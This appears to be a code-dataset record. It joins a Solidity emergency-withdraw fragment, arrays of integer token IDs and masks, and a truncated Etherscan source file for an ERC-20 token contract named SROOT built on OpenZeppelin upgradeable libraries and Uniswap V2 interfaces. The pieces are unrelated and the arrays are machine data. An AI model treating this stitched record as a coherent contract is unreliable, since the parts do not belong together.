function emergencyWithdrawEther() public onlyOwner {
(msg.sender).transfer(address(this).balance);
}
function emergencyWithdrawErc20(address tokenAddress) public onlyOwner {
IERC20 token = IERC20(tokenAddress);
token.safeTransfer(msg.sender, token.balanceOf(address(this)));
}
} | 9,216,922 | [
1,
22869,
693,
678,
89,
261,
23539,
6132,
30,
632,
303,
693,
91,
322,
91,
16,
15668,
30,
534,
83,
693,
17,
59,
89,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
1351,
291,
91,
438,
58,
22,
986,
48,
18988,
24237,
2276,
58,
21,
353,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
31,
203,
565,
1450,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
203,
203,
565,
3885,
12,
203,
3639,
1758,
640,
291,
91,
438,
58,
22,
1733,
1887,
16,
203,
3639,
1758,
640,
291,
91,
438,
58,
22,
8259,
3103,
1887,
16,
203,
3639,
1758,
341,
546,
1887,
203,
203,
683,
9454,
18035,
560,
1545,
20,
18,
26,
18,
20,
31,
203,
203,
565,
262,
1071,
288,
203,
3639,
389,
318,
291,
91,
438,
58,
22,
1733,
1887,
273,
640,
291,
91,
438,
58,
22,
1733,
1887,
31,
203,
3639,
389,
318,
291,
91,
438,
58,
22,
8259,
3103,
1887,
273,
640,
291,
91,
438,
58,
22,
8259,
3103,
1887,
31,
203,
3639,
389,
91,
546,
1887,
273,
341,
546,
1887,
31,
203,
565,
289,
203,
203,
203,
565,
6798,
1435,
3903,
8843,
429,
2618,
203,
565,
445,
7720,
1876,
986,
48,
18988,
24237,
1345,
1876,
1345,
12,
203,
3639,
1758,
1147,
1887,
37,
16,
203,
3639,
1758,
1147,
1887,
38,
16,
203,
3639,
2254,
17666,
3844,
37,
16,
203,
3639,
2254,
17666,
3844,
38,
16,
203,
3639,
2254,
17666,
1131,
48,
18988,
24237,
1182,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
1105,
14096,
203,
565,
262,
1071,
1135,
12,
11890,
4501,
372,
24237,
13,
288,
203,
3639,
2583,
12,
22097,
1369,
1545,
1203,
18,
5508,
16,
296,
18433,
5879,
8284,
203,
3639,
2583,
2
] |
/**
*Submitted for verification at Etherscan.io on 2022-02-13
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-09
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-05
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
__Context_init_unchained();
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal onlyInitializing {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
uint256[45] private __gap;
}
abstract contract Delegatable is OwnableUpgradeable {
mapping(address => uint256) public delegates;
event DelegateUpdated(address indexed delegate, uint256 indexed roles);
function __Delegatable_init() internal initializer {
__Ownable_init();
}
function __Delegatable_init_unchained() internal initializer {}
/*
READ FUNCTIONS
*/
function hasRoles(address delegate, uint256 roles)
public
view
returns (bool)
{
return (delegates[delegate] & roles) == roles;
}
/*
WRITE FUNCTIONS
*/
function _setDelegate(address delegate, uint256 roles) private {
delegates[delegate] = roles;
emit DelegateUpdated(delegate, roles);
}
/*
OWNER FUNCTIONS
*/
function updateDelegate(address delegate, uint256 roles)
public
virtual
onlyOwner
{
require(
delegate != address(0),
"Delegatable: new delegate is the zero address"
);
_setDelegate(delegate, roles);
}
function replaceDelegate(address oldDelegate, address newDelegate)
external
virtual
onlyOwner
{
uint256 roles = delegates[oldDelegate];
updateDelegate(oldDelegate, 0);
updateDelegate(newDelegate, roles);
}
/*
MODIFIER
*/
modifier onlyDelegate(uint256 roles) {
require(
hasRoles(msg.sender, roles),
"Delegatable: caller does not have correct roles"
);
_;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SROOT is ERC20Upgradeable, Delegatable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
mapping (address => uint256) public _rOwned;
mapping (address => uint256) public _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedFromFee;
